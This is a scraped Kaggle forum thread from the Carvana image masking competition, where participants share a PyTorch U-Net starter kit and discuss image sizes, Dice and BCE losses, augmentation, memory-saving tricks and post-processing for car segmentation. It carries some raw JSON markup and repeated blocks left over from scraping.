![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208218/6916/starter-kit.png\" "\\"\\"")
you can download my pytorch implementation at:
\n\nhttps://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U
\n\nIt uses a customized uNet. Please refer to the readme.ppt in the link above for setup and details. Have fun!
\n\n
software version update:
\n\n08-25
\n\nreference software for:
\n\nLB = 0.997 for UNet1024 model in my_unet_baseline.py
\n\nLB = 0.991 for UNet128 model in my_unet_baseline.py
\n\ntraining logs are provided. see also https://www.kaggle.com/c/carvana-image-masking-challenge/discussion/38125
implement accumulated gradients
implement weighted boundary loss
implement merge bn into conv for faster inference
\n\nthe version is not backward compatible with previous version.
08-02
\n\nadd UNet_double_1024_5, which use 512x512 as input and predict 1024x1024 mask.
\n\nUNet_double_1024_5 obtains LB score of 0.996.
\n\nnote that many changes are made to support label and image of different size.
\n\nsome unused functions are broken because of this.
\n\nthe version is not backward compatible with previous version.
07-31
\n\nadd models unet{128,256,512}_{1,2,3}
\n\nunet512_2 obtains LB score of 0.995.
\n\nThe training loss curves are included for reference.
07-30
\n\nsupport for validation at training
add dice loss for back propagation
07-29a
\n\nfix minor bugs
add data agumentation in training
add visualisation for predictions on train sample during training
07-29
\n\nyou can download my pytorch implementation at:
\n\nhttps://drive.google.com/open?id=0B_DICebvRE-kN21SaDhMZWt5U0U
\n\nIt uses a customized uNet. Please refer to the readme.ppt in the link above for setup and details. Have fun!
\n\n
software version update:
\n\n08-25
\n\nreference software for:
\n\nLB = 0.997 for UNet1024 model in my_unet_baseline.py
\n\nLB = 0.991 for UNet128 model in my_unet_baseline.py
\n\ntraining logs are provided. see also https://www.kaggle.com/c/carvana-image-masking-challenge/discussion/38125
implement accumulated gradients
implement weighted boundary loss
implement merge bn into conv for faster inference
\n\nthe version is not backward compatible with previous version.
08-02
\n\nadd UNet_double_1024_5, which use 512x512 as input and predict 1024x1024 mask.
\n\nUNet_double_1024_5 obtains LB score of 0.996.
\n\nnote that many changes are made to support label and image of different size.
\n\nsome unused functions are broken because of this.
\n\nthe version is not backward compatible with previous version.
07-31
\n\nadd models unet{128,256,512}_{1,2,3}
\n\nunet512_2 obtains LB score of 0.995.
\n\nThe training loss curves are included for reference.
07-30
\n\nsupport for validation at training
add dice loss for back propagation
07-29a
\n\nfix minor bugs
add data agumentation in training
add visualisation for predictions on train sample during training
07-29
\n\nThank you so much.
", "rawMarkdown": "Thank you so much.", "votes": null }, { "id": "208227", "postDate": "07/29/2017 04:15:06", "content": "Have you taken a look at
\n\nhttps://github.com/mzaradzki/neuralnets/tree/master/vgg_segmentation_keras\nhttps://aboveintelligent.com/face-recognition-with-keras-and-opencv-2baf2a83b799\nhttp://www.vlfeat.org/matconvnet/pretrained/#semantic-segmentation\nhttps://github.com/nicolov/segmentation_keras
\n\nand particularly https://github.com/jocicmarko/ultrasound-nerve-segmentation?
\n\nHeng, can't thank you enough for your activity on Kaggle. I've learned a bunch from you. Hope you win this one!
", "rawMarkdown": "Have you taken a look at \n\nhttps://github.com/mzaradzki/neuralnets/tree/master/vgg_segmentation_keras\nhttps://aboveintelligent.com/face-recognition-with-keras-and-opencv-2baf2a83b799\nhttp://www.vlfeat.org/matconvnet/pretrained/#semantic-segmentation\nhttps://github.com/nicolov/segmentation_keras\n\nand particularly https://github.com/jocicmarko/ultrasound-nerve-segmentation?\n\nHeng, can't thank you enough for your activity on Kaggle. I've learned a bunch from you. Hope you win this one!", "votes": null }, { "id": "208231", "postDate": "07/29/2017 04:43:29", "content": "Thanks for your sharing,and can I ask how much time do you cost when you generate a submit or predict? I'm also using pytorch and I generate a predict in the test set may cost 2~3 hours,it is too slow.
", "rawMarkdown": "Thanks for your sharing,and can I ask how much time do you cost when you generate a submit or predict? I'm also using pytorch and I generate a predict in the test set may cost 2~3 hours,it is too slow.", "votes": null }, { "id": "208235", "postDate": "07/29/2017 05:24:04", "content": "you can check this post:\nhttps://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37203
\n\nIt takes about 20 min to predict the masks using CNN, an another 20 min the make csv file.
", "rawMarkdown": "you can check this post:\nhttps://www.kaggle.com/c/carvana-image-masking-challenge/discussion/37203\n\nIt takes about 20 min to predict the masks using CNN, an another 20 min the make csv file.", "votes": null }, { "id": "208247", "postDate": "07/29/2017 05:55:07", "content": "Oh,Thanks,that's very effective~~
", "rawMarkdown": "Oh,Thanks,that's very effective~~", "votes": null }, { "id": "208326", "postDate": "07/29/2017 12:31:04", "content": "what does 0.988, 0.990, 0.992, 0.996 look like? I upload some files for your reference.\nThese are train errors i got on my train images.
\n\nFrom these images, the errors are can be corrected if you know something about the car model (e.g. the bumper is black and has to careful not to confuse with shadow). Dimension of the car might help.
\n\nmaybe this is how meta data can be used.
", "rawMarkdown": "what does 0.988, 0.990, 0.992, 0.996 look like? I upload some files for your reference.\nThese are train errors i got on my train images.\n\nFrom these images, the errors are can be corrected if you know something about the car model (e.g. the bumper is black and has to careful not to confuse with shadow). Dimension of the car might help.\n\nmaybe this is how meta data can be used.", "votes": null }, { "id": "208447", "postDate": "07/29/2017 20:10:33", "content": "Hi Heng CherKeng!
\n\nYou're involvement in the public forums is simply awesome! I love how you share a LOT of comp. vision type models (particularly in PyTorch)!
\n\nI was wondering whether you can post your implementation on Github, so that we can view the code online...
\n\nGreat work, keep it up ;) In fact, I'm actually planning to learn PyTorch via this competition, starting from your code. Good luck! ;))
", "rawMarkdown": "Hi Heng CherKeng! \n\nYou're involvement in the public forums is simply awesome! I love how you share a LOT of comp. vision type models (particularly in PyTorch)! \n\nI was wondering whether you can post your implementation on Github, so that we can view the code online... \n\nGreat work, keep it up ;) In fact, I'm actually planning to learn PyTorch via this competition, starting from your code. Good luck! ;))", "votes": null }, { "id": "208448", "postDate": "07/29/2017 20:11:12", "content": "Increasing Image Size helps, currently using 256 x256 with Keras U-net.
\n\n128 x 128 -> 98.5
\n\n256 x 256 -> 99.1
", "rawMarkdown": "Increasing Image Size helps, currently using 256 x256 with Keras U-net. \n\n128 x 128 -> 98.5\n\n256 x 256 -> 99.1", "votes": null }, { "id": "208479", "postDate": "07/29/2017 23:18:53", "content": "Thanks Heng for sharing. I am hoping to reproduce this with Keras as I don't have PyTorch.
\n\nHow long was the training time?
\nWhat was the batch size?
thanks for the information! it helps
", "rawMarkdown": "thanks for the information! it helps", "votes": null }, { "id": "208492", "postDate": "07/30/2017 00:48:45", "content": "some segmentation model for pytorch which you can used:
\n\nhttps://github.com/bodokaiser/piwise
\n\nhttps://github.com/meetshah1995/pytorch-semseg
\n\nsome discussion
\n\nhttps://discuss.pytorch.org/t/semantic-segmentation-perform-bad/1892/6
\n\nyou may want to try these. i think their implementations may be better than mine.
", "rawMarkdown": "some segmentation model for pytorch which you can used: \n\nhttps://github.com/bodokaiser/piwise\n\nhttps://github.com/meetshah1995/pytorch-semseg\n\nsome discussion\n\nhttps://discuss.pytorch.org/t/semantic-segmentation-perform-bad/1892/6\n\nyou may want to try these. i think their implementations may be better than mine.", "votes": null }, { "id": "208494", "postDate": "07/30/2017 00:53:13", "content": "be careful of those imagenet models. the py files are modified (the naming of the layers had changed) and may not work if you pretrained downloaed from the pytorch repository. you may wan to use the original imagenet py model from the pytorch repository.
\n\ni will post the modiifed pretrained models later
", "rawMarkdown": "be careful of those imagenet models. the py files are modified (the naming of the layers had changed) and may not work if you pretrained downloaed from the pytorch repository. you may wan to use the original imagenet py model from the pytorch repository.\n\ni will post the modiifed pretrained models later", "votes": null }, { "id": "208521", "postDate": "07/30/2017 04:55:16", "content": "It was very generous of you to share your work. Your work is fantastic. I just wonder if you have already look at CRF-RNN https://github.com/torrvision/crfasrnn which might be more promising?
", "rawMarkdown": "It was very generous of you to share your work. Your work is fantastic. I just wonder if you have already look at CRF-RNN https://github.com/torrvision/crfasrnn which might be more promising?", "votes": null }, { "id": "208595", "postDate": "07/30/2017 10:23:37", "content": "If you are training your model with 128x128 size pictures, then how will you predict the test images with size 1918x1280 since the model expects a tensor of (None, 128, 128, 3)?
", "rawMarkdown": "If you are training your model with 128x128 size pictures, then how will you predict the test images with size 1918x1280 since the model expects a tensor of (None, 128, 128, 3)?", "votes": null }, { "id": "208597", "postDate": "07/30/2017 10:26:39", "content": "e.g. the predicted mask is 128 x 128 and now you resize the image up to 1918x1280.
\n\nDepending on the resize function you can loose information, so training on bigger images should in general yield better results.
", "rawMarkdown": "e.g. the predicted mask is 128 x 128 and now you resize the image up to 1918x1280. \n\nDepending on the resize function you can loose information, so training on bigger images should in general yield better results.", "votes": null }, { "id": "208598", "postDate": "07/30/2017 10:26:54", "content": "resize image and ground truth mask to NxN at train. predict NxN mask at test. then upscale NxN to 1918x1280 . Not the best solution, but it is a start
", "rawMarkdown": "resize image and ground truth mask to NxN at train. predict NxN mask at test. then upscale NxN to 1918x1280 . Not the best solution, but it is a start", "votes": null }, { "id": "208639", "postDate": "07/30/2017 12:44:33", "content": "Works fine with 480*720 patches ^_^
", "rawMarkdown": "Works fine with 480*720 patches ^_^", "votes": null }, { "id": "208640", "postDate": "07/30/2017 12:45:59", "content": "thanks for the infor!
", "rawMarkdown": "thanks for the infor!", "votes": null }, { "id": "208645", "postDate": "07/30/2017 12:58:20", "content": "which batch size do you train?
", "rawMarkdown": "which batch size do you train?", "votes": null }, { "id": "208647", "postDate": "07/30/2017 13:00:42", "content": "some early experiment results
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208647/6946/exp.png\" "\\"\\"")
![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208647/6951/exp2.png\" "\\"\\"")
batch_size = 4 with Adam optimizer, trained overnight with 50 epochs, lr divided by 10 on 10, 20 and 50 epoch.
", "rawMarkdown": "batch_size = 4 with Adam optimizer, trained overnight with 50 epochs, lr divided by 10 on 10, 20 and 50 epoch.", "votes": null }, { "id": "208649", "postDate": "07/30/2017 13:23:04", "content": "thxs will test ur image size this night :D
", "rawMarkdown": "thxs will test ur image size this night :D", "votes": null }, { "id": "208652", "postDate": "07/30/2017 13:55:43", "content": "note that the prediction size can be bigger than input size. it is like super resolution.
\n\ne.g. prediction_mask (input_128x128) = mask_256x256
\n\nchange bilinear upsampling layer to learnable deconvolution layer (aka transpose convolution)
\n\n...
\n\nalso, you can start to modify your unet to be like:
\n\ninput_NxN --> [ resnet ] --> resNet_features_FxF --> [uNet] --> mask_KxK
", "rawMarkdown": "note that the prediction size can be bigger than input size. it is like super resolution.\n\ne.g. prediction_mask (input_128x128) = mask_256x256\n\nchange bilinear upsampling layer to learnable deconvolution layer (aka transpose convolution)\n\n...\n\nalso, you can start to modify your unet to be like:\n\ninput_NxN --> [ resnet ] --> resNet_features_FxF --> [uNet] --> mask_KxK", "votes": null }, { "id": "208672", "postDate": "07/30/2017 14:45:28", "content": "Another way could be to split images into smaller patches without downscaling. For example, we could split 1920*1280 into 720*480 patches with small overlap and that way it will be possible to train network with full resolution images
", "rawMarkdown": "Another way could be to split images into smaller patches without downscaling. For example, we could split 1920*1280 into 720*480 patches with small overlap and that way it will be possible to train network with full resolution images", "votes": null }, { "id": "208674", "postDate": "07/30/2017 14:49:08", "content": "Managed to run it with 1088x720 and batch 2. Still 3.2x downsampling.
", "rawMarkdown": "Managed to run it with 1088x720 and batch 2. Still 3.2x downsampling.", "votes": null }, { "id": "208676", "postDate": "07/30/2017 14:57:34", "content": ">>Another way could be to split images into smaller patches
\n\ni have about the same idea. Please see attachment picture.
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208677/6950/high.png\" "\\"\\"")
<
", "rawMarkdown": "<", "votes": null }, { "id": "208678", "postDate": "07/30/2017 15:09:52", "content": "here is another idea.
\n\nSay if we we are given 100x100 mask as ground truth. During training, we upsize the ground truth to 200x200 and train a network to predict 200x200. Then we download size 200x200 to 100x100 as final prediction results. This may has the 'effect' of averaging neighboring pixel predictions to predict current pixel.
", "rawMarkdown": "here is another idea. \n\nSay if we we are given 100x100 mask as ground truth. During training, we upsize the ground truth to 200x200 and train a network to predict 200x200. Then we download size 200x200 to 100x100 as final prediction results. This may has the 'effect' of averaging neighboring pixel predictions to predict current pixel.", "votes": null }, { "id": "208681", "postDate": "07/30/2017 15:17:47", "content": "Don't know, seems too complex to me. Advantage of end-to-end Unet is that it could have both local and global information (i.e. it can predict where the car is and also detect very precise boundary using this information). If we select very small patches near boundary there will be less context information (it is very hard to understand what is in small patch -- is it boundary of a car or boundary of letter in the background and so on)
", "rawMarkdown": "Don't know, seems too complex to me. Advantage of end-to-end Unet is that it could have both local and global information (i.e. it can predict where the car is and also detect very precise boundary using this information). If we select very small patches near boundary there will be less context information (it is very hard to understand what is in small patch -- is it boundary of a car or boundary of letter in the background and so on)", "votes": null }, { "id": "208682", "postDate": "07/30/2017 15:19:17", "content": "the patches can be big. e.g 25% of original image size.
\n\nresults of low resolution prediction (and maybe location of patch encoded as pixel information e.g. via distance transform) can be added as input to the high resolution network as well.
", "rawMarkdown": "the patches can be big. e.g 25% of original image size.\n\nresults of low resolution prediction (and maybe location of patch encoded as pixel information e.g. via distance transform) can be added as input to the high resolution network as well.", "votes": null }, { "id": "208703", "postDate": "07/30/2017 17:41:11", "content": "new experiment results. surprised that 128x128 can achieve LB 0.989. Unet_1 = my initial design unet. Unet_2 = design from Keras reference. Tips:
\n\ndesign your unet properly ... try different number of filters
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208703/6952/exp3.png\" "\\"\\"")
Awesome results! How about using 192*128 -- it will be the same proportions as original image. Also, I'd suggest using cv2.INTERP_AREA instead of default. It will make downsampled images more \"smooth\" without aliasing effects. I think it will allow to break into 0.99+ area.
", "rawMarkdown": "Awesome results! How about using 192*128 -- it will be the same proportions as original image. Also, I'd suggest using cv2.INTERP_AREA instead of default. It will make downsampled images more \"smooth\" without aliasing effects. I think it will allow to break into 0.99+ area.", "votes": null }, { "id": "208722", "postDate": "07/30/2017 18:59:51", "content": "I have a question about difference between LB score and validation score.\nI have trained model on 256x256 images. I get validation Dice Error ~0.991.
\n\nBut when I resize prediction to full resolution, at validation set I get 0.986 (which is consistent with my LB score).\nI'm thinking if such big drop is sth natural or I screwed the up-sampling part for prediction (I just use resize and threshold to have only binary values). After my analyse, look like my model learned nice the down-sampled masks, but also with all down-sample artifacts. Or I have sth wrong in my pipeline,\nHow does you pipeline look like?
", "rawMarkdown": "I have a question about difference between LB score and validation score.\nI have trained model on 256x256 images. I get validation Dice Error ~0.991.\n\nBut when I resize prediction to full resolution, at validation set I get 0.986 (which is consistent with my LB score).\nI'm thinking if such big drop is sth natural or I screwed the up-sampling part for prediction (I just use resize and threshold to have only binary values). After my analyse, look like my model learned nice the down-sampled masks, but also with all down-sample artifacts. Or I have sth wrong in my pipeline,\nHow does you pipeline look like?", "votes": null }, { "id": "208732", "postDate": "07/30/2017 19:48:41", "content": "This is fine. Your model learns downsampled masks very carefully but they are still downsampled and don't contain all the information of full-sized masks no matter how you will upsample predictions. I got higher score by using 720*480 masks. Currently training 1088x720 ^_^
", "rawMarkdown": "This is fine. Your model learns downsampled masks very carefully but they are still downsampled and don't contain all the information of full-sized masks no matter how you will upsample predictions. I got higher score by using 720*480 masks. Currently training 1088x720 ^_^", "votes": null }, { "id": "208771", "postDate": "07/31/2017 02:03:06", "content": "Does DA useful ? I'm trying to use rot and flip,but the result become more worse.
", "rawMarkdown": "Does DA useful ? I'm trying to use rot and flip,but the result become more worse.", "votes": null }, { "id": "208774", "postDate": "07/31/2017 02:44:08", "content": "Rotated image is far from val/test image, so I guess it is not a good way. I haven't tried but horizontal flip, horizonal/vertical pixel shift and brightness/contrast change should be good..
", "rawMarkdown": "Rotated image is far from val/test image, so I guess it is not a good way. I haven't tried but horizontal flip, horizonal/vertical pixel shift and brightness/contrast change should be good..", "votes": null }, { "id": "208775", "postDate": "07/31/2017 02:51:09", "content": "I got 0.993 with 320x480 (1/4 scale) with Keras U-net\nI can see 1 to 4 pixel discrepancy around car boundary as expected.
\n\nI also attempt the full-scale image, but it seems to be worse at least for first a few epoch - may be I need more U-net depth, but it becomes too slow to run.
", "rawMarkdown": "I got 0.993 with 320x480 (1/4 scale) with Keras U-net\nI can see 1 to 4 pixel discrepancy around car boundary as expected. \n\nI also attempt the full-scale image, but it seems to be worse at least for first a few epoch - may be I need more U-net depth, but it becomes too slow to run.", "votes": null }, { "id": "208779", "postDate": "07/31/2017 03:30:16", "content": "I think using DA will add some noise.It can improve the robust of the model sometimes,but in this competition we can get 0.99+ precision,so maybe the noise is harmful.
", "rawMarkdown": "I think using DA will add some noise.It can improve the robust of the model sometimes,but in this competition we can get 0.99+ precision,so maybe the noise is harmful.", "votes": null }, { "id": "208795", "postDate": "07/31/2017 05:01:32", "content": "i am now preparing the experiment write up and code for next release for 0.995 results. Here is a quick summary of my new experiments:
\n\nusing bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)
different sizes on LB: 128x128=0.989(batch=32), 256x256=0.992(30), 512x512=0.995(16)
augmentation. I use scale+shift. adding non-uniform scaling (change of aspect) worsen the results a little.
it seems that everyone now knows how to move towards 0.999. the battle now is who has the most gpu resources. imagine if i can train in full resolution with multi-gpus!
\n\nUpdated! The reason that deconvolution filter didn't work well could be becuase i forget to initialise them with bilinear weights. I will check that later.
", "rawMarkdown": "i am now preparing the experiment write up and code for next release for 0.995 results. Here is a quick summary of my new experiments:\n\n 1. using bilinear upsampling is better than deconvolution layer in unet (which i don't know why ... i suspect overfitting)\n\n 2. different sizes on LB: 128x128=0.989(batch=32), 256x256=0.992(30), 512x512=0.995(16)\n\n 3. augmentation. I use scale+shift. adding non-uniform scaling (change of aspect) worsen the results a little.\n\nit seems that everyone now knows how to move towards 0.999. the battle now is who has the most gpu resources. imagine if i can train in full resolution with multi-gpus!\n\n## note: the results are non conclusive. it is possible that you get different results. my results are only for reference. for details of experiments, please wait for my next post.\n\nUpdated! The reason that deconvolution filter didn't work well could be becuase i forget to initialise them with bilinear weights. I will check that later.", "votes": null }, { "id": "208798", "postDate": "07/31/2017 05:12:11", "content": "different resizing (bilinear, cubic, area, learnable) will be my next experiments. Also I will be trying scling without changing the aspect of the original image. I will report results later. Thanks for the hints and advice!
", "rawMarkdown": "different resizing (bilinear, cubic, area, learnable) will be my next experiments. Also I will be trying scling without changing the aspect of the original image. I will report results later. Thanks for the hints and advice!", "votes": null }, { "id": "208824", "postDate": "07/31/2017 07:16:36", "content": "Hey , Can you provide the Keras version of Unet.\nThanks in advance
", "rawMarkdown": "Hey , Can you provide the Keras version of Unet.\nThanks in advance", "votes": null }, { "id": "208834", "postDate": "07/31/2017 07:42:42", "content": "the bigger size,the higher LB.
", "rawMarkdown": "the bigger size,the higher LB.", "votes": null }, { "id": "208839", "postDate": "07/31/2017 08:05:55", "content": "inspired by @ironbar post: https://www.kaggle.com/ironbar/getting-a-meaning-of-the-score, i try to find the limits of using training labels of different sizes. Conclusion is that \"size does matters\" !
\n\nHere are the results:\n ![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208839/6954/size.png\" "\\"\\"")
updated. use this with code release '07-31'
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208843/6955/exp4.png\" "\\"\\"")
comparing 128,256,512 unet. It seems that 32 epoch is not optimum. Also there is no overfitting. Then green mask is example of prediction on test image.
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208849/6956/exp5.png\" "\\"\\"")
You might also find this useful: https://github.com/mrgloom/awesome-semantic-segmentation
\n\nIt contains links to all the papers and implementations (not only in pytorch) of segmentation networks.
", "rawMarkdown": "You might also find this useful: https://github.com/mrgloom/awesome-semantic-segmentation\n\nIt contains links to all the papers and implementations (not only in pytorch) of segmentation networks.", "votes": null }, { "id": "208852", "postDate": "07/31/2017 09:17:20", "content": "you can check the post below
", "rawMarkdown": "you can check the post below", "votes": null }, { "id": "208854", "postDate": "07/31/2017 09:18:21", "content": "thank you for the link, in particular, \"jocicmarko/ultrasound-nerve-segmentation\" unet structure helps!
", "rawMarkdown": "thank you for the link, in particular, \"jocicmarko/ultrasound-nerve-segmentation\" unet structure helps!", "votes": null }, { "id": "208855", "postDate": "07/31/2017 09:35:56", "content": "Next experiment plans:
\n\nbaseline system: using as 256x256 input and predict 256x256.
\n\ncomparsion system:
\n\n 1. Given 256x256 images, crop 128x128 for training and predict 128x128. During testing, 256x256 is divided into overlapping 128x128 patches to do inference. The results are then combined. \n\n 2. Given 128x128 as input. Train to predict 256x256\n\n 3. Given 128x128 as input. Train to predict 512x512. During testing, 512x512 prediction is downsized to 256x256.\na possible solution?
", "rawMarkdown": "a possible solution?", "votes": null }, { "id": "208869", "postDate": "07/31/2017 12:29:03", "content": "Hello Heng,
\n\nDo you think resize image's extension will affect the score?
\nIs it better to resize and write as jpg format than png ?
it is a new record! LB score =0.990 for 128x128. The results of using Bce loss + dice loss, i.e. dual loss back propagated. The training iterations are reduced also.
\n\n![\"enter](\"https://storage.googleapis.com/kaggle-forum-message-attachments/208877/6962/bce_dice.png\" "\\"\\"")
@Bartek
\n\nlet ( downsize(x), downsize(y_hat) ) be an train sample, and p be output prediction of CNN.
\n\nDid you threshold(upsize(threshold(p))) or threshold(upsize(p)) for submission? I use threshold(upsize(p)) but i haven't compare which is better
", "rawMarkdown": "Bartek\n\nlet ( downsize(x), downsize(y_hat) ) be an train sample, and p be output prediction of CNN. \n\nDid you threshold(upsize(threshold(p))) or threshold(upsize(p)) for submission? I use threshold(upsize(p)) but i haven't compare which is better", "votes": null }, { "id": "208890", "postDate": "07/31/2017 14:07:47", "content": "I am using this competition to improve my skills in keras. I see the model shared in this thread has been written using pytorch. Is anyone using keras/tensorflow to write an equivalent model?
", "rawMarkdown": "I am using this competition to improve my skills in keras. I see the model shared in this thread has been written using pytorch. Is anyone using keras/tensorflow to write an equivalent model?", "votes": null }, { "id": "208891", "postDate": "07/31/2017 14:09:16", "content": "When using bigger images, how do you guys save the predictions? Currently i'm using numpy array but with bigger image size my 32gb ram gets memory error.
", "rawMarkdown": "When using bigger images, how do you guys save the predictions? Currently i'm using numpy array but with bigger image size my 32gb ram gets memory error.", "votes": null }, { "id": "208910", "postDate": "07/31/2017 14:50:26", "content": "my ram is 128 gb. Your prediction comes from CNN, which you can save at every e.g. 1000 iterations. your results will be in chunks of 1000. 512x512 prediction mask (float32) is about 104 GB when saves as npy file.
", "rawMarkdown": "my ram is 128 gb. Your prediction comes from CNN, which you can save at every e.g. 1000 iterations. your results will be in chunks of 1000. 512x512 prediction mask (float32) is about 104 GB when saves as npy file.", "votes": null }, { "id": "208912", "postDate": "07/31/2017 14:52:01", "content": "@Eugene I am not sure but i think image compression should have negligible effects
", "rawMarkdown": "Eugene I am not sure but i think image compression should have negligible effects", "votes": null }, { "id": "208914", "postDate": "07/31/2017 14:53:59", "content": "You could virtually increase your memory size by using a swap file:
\n\n#!/bin/bash\n# swap-create: creates 20 GB swap file\n\nSWAP_FILE=${HOME}/swapfile\n\nsudo dd if=/dev/zero of=${SWAP_FILE} bs=512M count=40\nsudo mkswap ${SWAP_FILE}\nsudo chmod 600 ${SWAP_FILE}\nsudo swapon ${SWAP_FILE}\nyet another simple idea is to use initial low resolution mask prediction to get a bounding box of the car. They crop and resize the bounding box (with border) to some good size like 512x512. This reduces the the background and maximizes the object in the 512x512 input.
", "rawMarkdown": "yet another simple idea is to use initial low resolution mask prediction to get a bounding box of the car. They crop and resize the bounding box (with border) to some good size like 512x512. This reduces the the background and maximizes the object in the 512x512 input.", "votes": null }, { "id": "208933", "postDate": "07/31/2017 15:34:20", "content": "I have checked last @Heng CherKeng script and it really produce 0.995 score using 512 images, thanks! Now I'm ready to find a bug in my code:)
\n\nAbout memory consumption when predicting I resolved it by using uint8 format instead of float32\nSo I get prediction after sigmoid function, multiply them by 255. and convert to uint8.\nAfter resizing I threshold them by 128. \nThen I use ~30GB of memory for making a prediction (having 32GB). Saved all mask for 100k images takes 25 GB (so 4x less than float32). As I have same score at LB like Heng, look like it does not hurt performance
\n\nAbout cropping the removing the background from images, I think that is very good idea, which I was thinking about too.\nThe simple two-step idea is best. And it provide bigger car images at same resolution of input image. But I would have left some background around the car to enable random crop and have more information about background around car.
", "rawMarkdown": "I have checked last @Heng CherKeng script and it really produce 0.995 score using 512 images, thanks! Now I'm ready to find a bug in my code:)\n\nAbout memory consumption when predicting I resolved it by using uint8 format instead of float32\nSo I get prediction after sigmoid function, multiply them by 255. and convert to uint8.\nAfter resizing I threshold them by 128. \nThen I use ~30GB of memory for making a prediction (having 32GB). Saved all mask for 100k images takes 25 GB (so 4x less than float32). As I have same score at LB like Heng, look like it does not hurt performance \n\n\nAbout cropping the removing the background from images, I think that is very good idea, which I was thinking about too.\nThe simple two-step idea is best. And it provide bigger car images at same resolution of input image. But I would have left some background around the car to enable random crop and have more information about background around car.", "votes": null }, { "id": "208979", "postDate": "07/31/2017 19:31:31", "content": "You could save the numpy array in bcolz format. It's one of the fastest and a cheap way of saving numpy arrays on disk. Some utility functions to save and load bcolz arrays are here: https://github.com/fastai/courses/blob/master/deeplearning1/nbs/utils.py#L175-L181
", "rawMarkdown": "You could save the numpy array in bcolz format. It's one of the fastest and a cheap way of saving numpy arrays on disk. Some utility functions to save and load bcolz arrays are here: https://github.com/fastai/courses/blob/master/deeplearning1/nbs/utils.py#L175-L181", "votes": null }, { "id": "209100", "postDate": "08/01/2017 07:26:50", "content": "@jackkwok : Will you share the code once you are done with converting this to keras
", "rawMarkdown": "jackkwok : Will you share the code once you are done with converting this to keras", "votes": null }, { "id": "209122", "postDate": "08/01/2017 09:42:18", "content": "yet another idea
", "rawMarkdown": "yet another idea", "votes": null }, { "id": "209157", "postDate": "08/01/2017 12:20:04", "content": "You are kind of sharing your code. I trained a UNet, but it marks all edges just as the attenchment. How do you remove the logo of \"carvana\"?
", "rawMarkdown": "You are kind of sharing your code. I trained a UNet, but it marks all edges just as the attenchment. How do you remove the logo of \"carvana\"?", "votes": null }, { "id": "209167", "postDate": "08/01/2017 12:37:12", "content": "Verify the training, your model is not creating a mask around the car.
\nProbably it doesn't have learn anything.
I'm also using adam, I'm wondering how you set the initial super parameters?
", "rawMarkdown": "I'm also using adam, I'm wondering how you set the initial super parameters?", "votes": null }, { "id": "209188", "postDate": "08/01/2017 13:39:41", "content": "I'm working on tensorflow version
", "rawMarkdown": "I'm working on tensorflow version", "votes": null }, { "id": "209193", "postDate": "08/01/2017 14:04:46", "content": "Do you know what is causing the spots in the wheels? Is it the training data?
\n\nI have only noticed one image where the manually created mask trimmed in between the wheel's spokes, but I haven't reviewed enough images to know if it is a common or rare issue.
", "rawMarkdown": "Do you know what is causing the spots in the wheels? Is it the training data?\n\nI have only noticed one image where the manually created mask trimmed in between the wheel's spokes, but I haven't reviewed enough images to know if it is a common or rare issue.", "votes": null }, { "id": "209205", "postDate": "08/01/2017 14:56:50", "content": "@ironbar The code is as follows, just trained a unet. I don't know whether the model construct method is OK. It seems that the model just find all the edges, and do not create a car mask.
\n\n\nimport numpy as np\nimport tensorflow as tf\nfrom PIL import Image\nfrom tf_unet import unet, image_util, util\n\nbase_dir = \"/home/xrq/prog/kaggle/image_masking\"\noutput_path = base_dir + \"/script/tmp\"\nmodel_path = base_dir + '/script/model'\ntest_pic_path = base_dir + \"/script/00087a6bd4dc_01_predict.jpg\"\n\ndata_provider = image_util.ImageDataProvider(base_dir + \"/dataset/train/*\", data_suffix='.jpg', mask_suffix='_mask.gif')\nnet = unet.Unet(channels=3, n_class=2, cost='cross_entropy', layers=3, features_root=1)\ntrainer = unet.Trainer(net, batch_size=1, optimizer='momentum')\ntrainer.train(data_provider, output_path, training_iters=10, epochs=100, dropout=0.5, display_step=1, restore=False, write_graph=False)\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n # Initialize variables\n sess.run(init)\n\n net.save(sess, model_path)\n pic = np.array(Image.open(base_dir + '/dataset/train/00087a6bd4dc_01.jpg'), np.float32)\n prediction = net.predict(model_path, np.reshape(pic, (1, 1280, 1918, 3)))\n\n res = np.reshape(prediction, (1240, 1876, 2))[:, :, 1]\n img = Image.fromarray(res * 255)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img.save(test_pic_path)\n img.show()\n\nimport numpy as np\nimport tensorflow as tf\nfrom PIL import Image\nfrom tf_unet import unet, image_util, util\n\nbase_dir = \"/home/xrq/prog/kaggle/image_masking\"\noutput_path = base_dir + \"/script/tmp\"\nmodel_path = base_dir + '/script/model'\ntest_pic_path = base_dir + \"/script/00087a6bd4dc_01_predict.jpg\"\n\ndata_provider = image_util.ImageDataProvider(base_dir + \"/dataset/train/*\", data_suffix='.jpg', mask_suffix='_mask.gif')\nnet = unet.Unet(channels=3, n_class=2, cost='cross_entropy', layers=3, features_root=1)\ntrainer = unet.Trainer(net, batch_size=1, optimizer='momentum')\ntrainer.train(data_provider, output_path, training_iters=10, epochs=100, dropout=0.5, display_step=1, restore=False, write_graph=False)\n\ninit = tf.global_variables_initializer()\nwith tf.Session() as sess:\n # Initialize variables\n sess.run(init)\n\n net.save(sess, model_path)\n pic = np.array(Image.open(base_dir + '/dataset/train/00087a6bd4dc_01.jpg'), np.float32)\n prediction = net.predict(model_path, np.reshape(pic, (1, 1280, 1918, 3)))\n \n res = np.reshape(prediction, (1240, 1876, 2))[:, :, 1]\n img = Image.fromarray(res * 255)\n if img.mode != 'RGB':\n img = img.convert('RGB')\n img.save(test_pic_path)\n img.show()\nsegmentation tricks!
\n\nsee pascal voc 2012 leader board method description
\n\nhttp://host.robots.ox.ac.uk:8080/leaderboard/displaylb.php?challengeid=11&compid=6
\n\ne.g CRF is applied as post-processing step.
